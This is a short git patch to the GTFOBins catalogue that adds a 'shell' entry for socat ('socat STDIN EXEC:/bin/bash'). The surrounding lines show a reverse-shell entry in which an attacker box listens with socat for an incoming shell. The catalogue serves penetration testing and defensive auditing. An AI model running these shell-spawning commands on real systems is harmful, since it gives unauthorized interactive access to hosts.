From 0d987903123e4f763538e5381ec4d35e377de6bf Mon Sep 17 00:00:00 2001 From: JayDee Raymaker Date: Wed, 13 May 2020 19:33:13 +0200 Subject: [PATCH] Add socat shell --- _gtfobins/socat.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/_gtfobins/socat.md b/_gtfobins/socat.md index d8a8bfb..d3f1d8b 100644 --- a/_gtfobins/socat.md +++ b/_gtfobins/socat.md @@ -1,5 +1,8 @@ --- functions: + shell: + - code: | + socat STDIN EXEC:/bin/bash reverse-shell: - description: Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell. code: |